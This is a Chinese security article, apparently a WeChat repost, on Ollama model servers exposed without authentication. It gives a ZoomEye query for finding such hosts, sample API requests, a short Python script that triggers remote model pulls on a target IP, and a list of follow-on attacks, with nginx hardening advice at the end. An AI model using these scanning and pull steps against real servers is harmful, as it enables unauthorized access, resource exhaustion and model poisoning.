摘要
近期针对AI基础设施的网络安全扫描发现,全球范围内存在大量未授权暴露在公网的Ollama大模型服务器。这些服务器不仅暴露了模型管理接口,还存在敏感操作未授权访问风险。本文通过实证研究揭示了该问题的技术细节及潜在危害,展示了“用AI攻击AI”的现实。
本测试说明:除思路是人以外,其他全用AI完成(包括各种测试用例以及本稿撰写,从想法 - 攻击测试 - 完稿,前后半小时)
一、发现过程
1.1 资产测绘技术应用
通过Zoomeye网络空间搜索引擎,使用以下语法进行目标定位:
app="Ollama" +country="*"
图1:Zoomeye搜索结果
1.2 API接口验证
测试开放API端点
GET /api/tags HTTP/1.1
Host: [目标IP]:11434
典型响应示例:
{
"models": [
{
"name": "deepseek-r1:7b",
"model": "deepseek-r1:7b",
"modified_at": "2025-02-12T21:48:07.4588927+08:00",
"size": 4683075271,
"details": {
"parent_model": "",
"format": "gguf",
"family": "qwen2",
"families": [
"qwen2"
],
"parameter_size": "7.6B",
"quantization_level": "Q4_K_M"
}
}
]
}
二、技术风险分析
2.1 高危操作接口
接口路径 |
HTTP方法 |
风险等级 |
影响范围 |
/api/pull |
POST |
严重 |
远程下载任意模型 |
/api/delete |
DELETE |
高危 |
删除已有模型 |
/api/generate |
POST |
中危 |
模型推理操作 |
2.2 攻击向量示例
自动化攻击脚本核心代码:
import requests
def ollama_rce(target_ip, model_name):
# 模型下载漏洞利用
payload = {"name": model_name, "stream": False}
resp = requests.post(f"http://{target_ip}:11434/api/pull", json=payload)
if resp.status_code == 200:
print(f"[+] 成功部署 {model_name} 模型")
# 后续推理攻击代码...
图2:自动化攻击演示
三、影响范围统计
国家/地区 |
暴露主机数 |
含模型主机 |
*/* |
31,200 |
xxxx |
四、进阶攻击场景
-
模型投毒攻击:通过/api/pull注入恶意模型
-
资源耗尽攻击:循环下载大型模型耗尽存储
-
知识库泄露:访问/api/knowledge - base(需进一步验证)
-
提示词劫持:篡改/system/prompts配置
五、防御建议
5.1 基础防护
Nginx
# 配置反向代理限制访问
location /api/ {
allow 192.168.1.0/24;
deny all;
auth_basic "Ollama Admin";
auth_basic_user_file /etc/nginx/.htpasswd;
}
5.2 增强措施
启用OLLAMA_HOST环境变量绑定
配置TLS客户端证书认证
实施请求频率限制(建议<5req/min)
定期审计模型哈希值
六、结语
AI基础设施的快速部署与安全建设的滞后形成鲜明反差。本文披露的案例表明,攻击者已能通过自动化工具在数分钟内完成从目标发现到攻击实施的完整链路。
原文始发于微信公众号(黑白之道):当心别人删了你的大模型
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论